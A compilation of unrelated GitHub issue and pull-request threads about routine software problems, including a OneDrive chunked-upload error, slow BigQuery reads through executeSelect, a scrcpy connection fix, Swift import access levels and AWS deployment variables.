Below are the response details of uploading the last fragment:

Headers:
-Date: Wed, 12 Oct 2022 04:12:36 GMT
-request-id: 1cc96da0-f043-1000-a5f2-9199a876de17
-SPRequestGuid: 1cc96da0-f043-1000-a5f2-9199a876de17
Body:
{"error":{"code":"generalException","message":"General exception while processing"}}

Retry would always return the same error. I have then generated multiple dummy files with the same size with varying content pattern:

all bytes are -128
all bytes are 255
all bytes are 0
0,1,2...,255 repeat
-128,-127...,255 repeat
random
random

Only 6 and 7 failed. The same behavior is observed for another file with size 67,108,832B.
Strangely, upload with a single request (https://learn.microsoft.com/en-us/onedrive/developer/rest-api/api/driveitem_put_content?view=odsp-graph-online) which has a 4MB limit works.
Steps to Reproduce

Download one of the file from the folder, they are the files with randomly generated bytes:
https://ahsay-my.sharepoint.com/:f:/g/personal/pong_tse_ahsay_onmicrosoft_com/Enn0D8aUpmBAn-ONJM9G2NEBr5m9nwuYjtT3m1CsCJTW_w?e=UJtXGx
Create upload session with file name specified in body
https://learn.microsoft.com/en-us/onedrive/developer/rest-api/api/driveitem_createuploadsession?view=odsp-graph-online#request-body
Upload in 5MB fragments
Error is hit in upload of last fragment

Thank you.

Thank you @Justin-813  for reporting this issue. 500 is most definitely a product issue. I am figuring out what is the best way to fix this.

I 've encoutered this issue too and tested several cases:

case 0 (when i first encounter this issue): 5Gi file 60Mi per chunk
take around 13min to finish, fail when upload last chunk (both web and rclone), on web it give a message such like "ctx does not exist any more"(something expired ?)
case 1: dd if=/dev/zero 5Gi 60Mi per chunk
no issue, take around 2 min
case 2: dd if=/dev/urandom 5Gi 60Mi per chunk
no issue, take much more time but less than 10min
case 3: dd if=/dev/zero 10Gi 10Mi per chunk
failed, take around 15min

so i think it due to uploading taking too much time, but consider different internet connection i think the threshold should be much longer than around 10min


⚠ Bofrost.at has degraded performance

In 96555df, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2347 ms

Resolved: Bofrost.at performance has improved in 2880b7f after 13 minutes.


Use access levels on imports when compiler(>=6)

Access levels on import declarations are a language feature that was introduced with the Swift 6 compiler but they don't depend on the Swift 6 language mode. @_implementationOnly import is now deprecated and internal import should be used instead, so SwiftSyntax's use of access levels on imports should depend on the compiler version, not the language version, to ensure it no longer uses @_implementationOnly unnecessarily.
As a notable exception, _SwiftSyntaxCShims must continue to be imported @_implementationOnly since it's a local module that cannot be loaded by clients, and internal import does not hide modules from dependents when SwiftSyntax is built without library evolution.

We should also consider enabling the upcoming InternalImportsByDefault feature regardless of language mode, but I think that should be done in a separate PR.

@swift-ci please test

@swift-ci please test

@swift-ci Please test Windows

I forgot to update code generation - fixed.

@swift-ci please test

@swift-ci please test

@swift-ci please test


Add permissions boundary

Adds variables to set AWS permissions boundary and profile to make it easier to deploy on USGS's AWS account.
Our account also lacks a "default" vpc, which will need to be created (but with a custom name). Is that something you'd consider upstreaming?

Scratch the idea about initializing a new vpc, we will deploy on a prexisting vpc.
So this PR is solely whether to upstream the permissions boundary and profile variables.

I realized one more piece: If we use a aws profile, it needs to be passed to eks get-token in the helm provider block.

@ranchodeluxe,
Ack. I should not have tried to cleanup the PR history. Sorry.
Anyway, this is ready for review.

I'm reorganizing how my repo, which will affect how I contribute upstream. Closing this PR but will reopen after the reorg.


Update chroma_view.xml

now you can only type max 6 hex characters

@deletescape this looks good to me

i think some code here will be obsolet

see: https://github.com/LawnchairLauncher/chroma/commit/ad570d7dc46d96d701b6491a70b4fa1d8986d9e6


Reading data using the executeSelect API is slow

We use executeSelect API to run SQL query and read results from BigQuery. We expected a good speed based on
Reading data using executeSelectAPI is extremely slow.
Reading of 100_000 rows takes 23930 ms.
The profiling showed no prominent places where we spent most of the time.
Are there any recent changes that might cause performance degradation for such an API?
Do you have a benchmark to understand what performance we should expect?
Thanks!
Environment details

com.google.cloud:google-cloud-bigquery:2.43.3
Mac OS Sonoma M1
Java version: 17

Code example
Mono.fromCallable { bigQueryOptionsBuilder.build().service }
            .flatMap { context ->
                val connectionSettings = ConnectionSettings.newBuilder()
                    .setRequestTimeout(10L)
                    .setUseReadAPI(true)
                    .setMaxResults(1000)
                    .setNumBufferedRows(1000)
                    .setUseQueryCache(true)
                    .build();
                val connection = context.createConnection(connectionSettings)
                val bqResult = connection.executeSelect(sql)
                val result = Flux.usingWhen(
                    Mono.just(bqResult.resultSet),
                    { resultSet -> resultSet.toFlux(bqResult.schema) },
                    { _ -> Mono.fromRunnable<Unit> { connection.close() } }
                )
                Mono.just(Data(result, bqResult.schema.toSchema()))
            }
            ...

fun ResultSet.toFlux(schema:Schema): Flux<DataRecord> {
    return Flux.generate<DataRecord> { sink ->
        if (next()) {
            sink.next(toDataRecord(schema))
        } else {
            sink.complete()
        }
    }
}

I've created a test to show performance:
@Test
    fun `test read`() {
        val sql =
            """
            SELECT *
            FROM `pr`
            """.trimIndent().replace("\n", " ")
        val connectionSettings = ConnectionSettings.newBuilder()
            .setRequestTimeout(300)
            .setUseReadAPI(true)
            .setMaxResults(5000)
            .setUseQueryCache(true)
            .build()
        val connection = bigQueryOptionsBuilder.build().service.createConnection(connectionSettings)
        val bqResult = connection.executeSelect(sql)
        val resultSet = bqResult.resultSet

        var n = 1
        var lastTime = Instant.now()
        while (++n < 1_000_000 && resultSet.next()) {
            if (n % 30_000 == 0) {
                val now = Instant.now()
                val duration = Duration.between(lastTime, now)
                println("ROW $n Time: ${duration.toMillis()} ms ${DateTimeFormatter.ISO_INSTANT.format(now)}")
                lastTime = now
            }
        }
   }

ROW 30000 Time: 5516 ms 2024-11-14T12:35:54.354169Z
ROW 60000 Time: 11230 ms 2024-11-14T12:36:05.585005Z
ROW 90000 Time: 5645 ms 2024-11-14T12:36:11.230378Z
ROW 120000 Time: 5331 ms 2024-11-14T12:36:16.561915Z
ROW 150000 Time: 5458 ms 2024-11-14T12:36:22.019994Z
ROW 180000 Time: 5391 ms 2024-11-14T12:36:27.411807Z

Related issue with benchmark: https://github.com/googleapis/java-bigquery/pull/3574

@Neenu1995 Could you please help address this issue?
Thanks!

Thanks for fixing the benchmark tests. The result is definitely unexpected. Did you see better results for the Read API in a previous version of com.google.cloud:google-cloud-bigquery?
AFAIK, the changes to executeSelect/Connection in the com.google.cloud:google-cloud-bigquery repo should not have caused any performance degradation.
@yirutang , do you know if there are any recent changes/configuration changes that might cause the performance slowdown?

Thanks for the reply @PhongChuong !
We are trying to build a fast and reliable integration with BigQuery to read and write data using 2.44.0, so I can't say when performance degradation started.
I've just tested 2.40.0 and 2.30.0 and see the same result in terms of speed.
Let me know if I need to test any other version.

I've noticed that the first run usually is much faster.
Do we have any BigQuery configurations or limits we have to configure?
I've checked all docs that I was able to find and don't see anything else besides enabling BigQuery Storage Read API
https://cloud.google.com/blog/topics/developers-practitioners/introducing-executeselect-client-library-method-and-how-use-it/
https://cloud.google.com/bigquery/docs/reference/storage
I don't see any limits or quotas that were exceeded either.
Do you see the same result when you run the perf test?

@kmjung

@o-shevchenko do you have the query job IDs and read session IDs involved in these benchmark runs? @PhongChuong do you know if it's possible to have the client log these?
Also, what is the benchmark configuration that you're using here? Where (e.g in what GCP region or multi-region) is your BigQuery data, where are you running the benchmark, etc?

Hi @kmjung
I use this BQ benchmark with public dataset bigquery-public-data.new_york_taxi_trips.tlc_yellow_trips_2017.
I fixed the test in java-bigquery repo.
It always reproduces. You can just run it as is to see if you have the same read speed.
I just use my creds in GOOGLE_APPLICATION_CREDENTIALS=path/to/service_account.json
https://github.com/googleapis/java-bigquery/pull/3574
Let me know if you need any other details

Where (e.g in what GCP region or multi-region) is your BigQuery data, where are you running the benchmark, etc?

Can you provide this information also?

My service is deployed in AWS, in the same region. I don't think that network latency is involved that much. The read is very slow.

I am less convinced that this is not related to AWS <--> GCE network latency. I will reach out offline to collect more data from you.

Thanks @kmjung . I've created a support case.
I also run benchmarks from my local machine where I directly read data from BQ, and it's 10x slower than the Snowflake JDBC connector for the same setup.
So, I assumed something was wrong with BQ API or our project configs.


LG G6 Problem

Hi and thanks for this very nice project !
I can't figure out how to make it work on my LG G6.
No miror screen appears. No error message.
Win 10 / Android 8.0
Running the compiled version for WIN 32 / WIN 64
USB Debugging ON
BUT,  unnable to find other option like "USB debugging (security sttings) Allow granting permissions and simulating input..."
Thanks for your help
Alex

What text do you see in your console?
Also check the output of adb logcat for errors when you start scrcpy.

Thanks for your aswer.
I just get  the normal response like :
C:\Users\master\Downloads\scrcpy-win32-v1.10\scrcpy-server.jar: 1 file pushed. 10.7 MB/s (22546 bytes in 0.002s)  (and waitting...)
and concerning the adb logcat, I get that :
11-01 16:55:36.190  2028  2028 I dhcpcd  : eth0: renewing lease of <IP_ADDRESS>
11-01 16:55:36.190  2028  2028 I dhcpcd  : eth0: sending REQUEST (xid 0x2b5586cb), next in 3.2 seconds
11-01 16:55:36.190  2028  2028 I dhcpcd  : eth0: received ACK with xid 0x2b5586cb
11-01 16:55:36.190  2028  2028 I dhcpcd  : eth0: acknowledged <IP_ADDRESS> from <IP_ADDRESS>
11-01 16:55:36.314 29544 29544 I sh      : [root] Hostonly IP: <IP_ADDRESS>
11-01 16:55:36.325 29550 29550 I /system/etc/init.andy.eth0.sh: [root] Hostonly IP: <IP_ADDRESS>
11-01 16:55:36.368 29544 29544 I sh      : [root] Hostonly Gateway: <IP_ADDRESS>
11-01 16:55:36.377 29556 29556 I /system/etc/init.andy.eth0.sh: [root] Hostonly Gateway: <IP_ADDRESS>
11-01 16:55:36.382 29544 29544 I sh      : PING <IP_ADDRESS> (<IP_ADDRESS>) from <IP_ADDRESS> eth0: 56(84) bytes of data.
11-01 16:55:36.382 29544 29544 I sh      : 64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=128 time=0.286 ms
11-01 16:55:36.386 29544 29544 I sh      : [root] <IP_ADDRESS> through eth0: REACHABLE
11-01 16:55:36.395 29562 29562 I /system/etc/init.andy.eth0.sh: [root] <IP_ADDRESS> through eth0: REACHABLE
11-01 16:55:36.403 29544 29544 I sh      : [root] <IP_ADDRESS> through eth0: added to legacy_system
11-01 16:55:36.413 29566 29566 I /system/etc/init.andy.eth0.sh: [root] <IP_ADDRESS> through eth0: added to legacy_system
Do you see something wrong ?
Thanks
A.

You just copied 14 lines of your adb logcat output, there are probably thousands…
Don't paste them, but just check if some more errors are logged happen when you start scrcpy.

Thank you so much for your help !
It was my fault : I studied the logs and found that I had a conflict with an Android emulator (Andy)
and the scrcpy  file was sent to the wrong device. Silly mistake.
It is now working very well
Thanks again for your time and help.
A.


add error handling of github api errors

Time to time GitHub API can go down, and make responses with 5xx codes and body like that:
{
   "data": null,
   "errors":[
      {
         "message":"Something went wrong while executing your query. This may be the result of a timeout, or it could be a GitHub bug. Please include `DF4A:6E1B:1D670F9:1DAA64D:64E7DC75` when reporting this issue."
      }
   ]
}

It would be nice to show some error modal with "Retry" button to retry the request.
No errors silently ignored :(

Netlify CMS has a background service status check and shows an alert when the Git backend is down.
https://github.com/decaporg/decap-cms/pull/3889
I think we need this and took a screenshot before:

The English label is

The backend service is experiencing an outage. See %{details} for more information


Documentation: CLI usage not updated

At https://code.visualstudio.com/docs/editor/command-line#_opening-files-and-folders the documentation reads:

Name of a folder to open. You can specify multiple folders and there will be an instance for each folder.

However, when doing so on 1.18, all supplied folders are opened into a single window, in a shared workspace.
I was originally searching for how to control this behavior, as the documented behavior is how it used to work.

Moved to https://github.com/Microsoft/vscode-docs/issues/1264


[Star Wars Saga Edition] Updated vehicle skills and crew

Submission Checklist
Required

[x] The pull request title clearly contains the name of the sheet I am editing.
[x] The pull request title clearly states the type of change I am submitting (New Sheet/New Feature/Bugfix/etc.).
[x] The pull request makes changes to files in only one sub-folder.
[x] The pull request does not contain changes to any json files in the translations folder (translation.json is permitted)

Changes / Description

Corrected formulas for vehicle skills, using sheetworkers for some
Added Perception as vehicle skill
Hid pilot-only skills from non-pilots
Added crew quality defaults
Added section for emplacement points
Minor CSS cleanup and fixes

Character Sheet Info Roll20 Internal Use only.


Bug: running lib.getGenlFamily in container CentOS using Docker

So I am using image FROM centos:7 but when I to try to execute code,  it broke and to generate panic. But when was tried in a VM or UNIX directly it success executing.
Error reference in two lines below:

https://github.com/uber-common/cpustat/blob/79c1ebd00ceaea633e818915edc51fc11cbcb67a/lib/netlink.go#L211
https://github.com/uber-common/cpustat/blob/79c1ebd00ceaea633e818915edc51fc11cbcb67a/lib/netlink.go#L224

Traceback:
panic: Netlink error code -2 getting TASKSTATS family id

goroutine 1 [running]:
github.com/uber-common/cpustat/lib.getGenlFamily(0xc0000960a0, 0x50da20)
	/root/go/src/github.com/uber-common/cpustat/lib/netlink.go:274 +0x8e
github.com/uber-common/cpustat/lib.NLInit(0x4f04df)
	/root/go/src/github.com/uber-common/cpustat/lib/netlink.go:328 +0x1f3
main.main()
	/test.go:11 +0x34

Could you describe which OS was running on the VM, and the host OS runnign Unix?

Yep, I testing in a VM using CentOS 7 on MacOS Catalina, but the problem is in docker


feat: user profile

:tada: This PR is included in version 0.5.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Set Nexus default to V2

Closes #2084
What is being addressed
Changes the default Nexus shared service deployed by make deploy-shared-services/make all to the VM-based V2 service
How is this addressed

Updated the makefile with cert install/generate and nexus-vm install commands
Added parameters variable to deploy_shared_services.sh to pass additional bundle parameters for cert install
Updated user resources to use V2 by default
Updated documentation

/test-shared-services

/test-shared-services

/test-shared-services


Modern OA2 Authentication

This document says NOTHING about Office / Outlook 2021.
So, is Office / Outlook 2021 impacted by this coming update??
Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7cd3a343-4140-e63d-5197-06cafdab4639
Version Independent ID: 12cf7dda-2caf-0fe2-1564-a14dea00d46f
Content: How modern authentication works for Office 2013 and Office 2016 client apps - Microsoft 365 Enterprise
Content Source: microsoft-365/enterprise/modern-auth-for-office-2013-and-2016.md
Service: o365-administration
GitHub Login: @MSFTTracyP
Microsoft Alias: tracyp

@IanMos Thank you for your feedback. I have checked and OA2 is supported on office 2021. The impact will be on the earlier versions of office only and not on 2021.
Hope this helps!
Thanks
Sri

@msbemba Thank you very much for the contribution and sharing this explanation. @IanMos Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.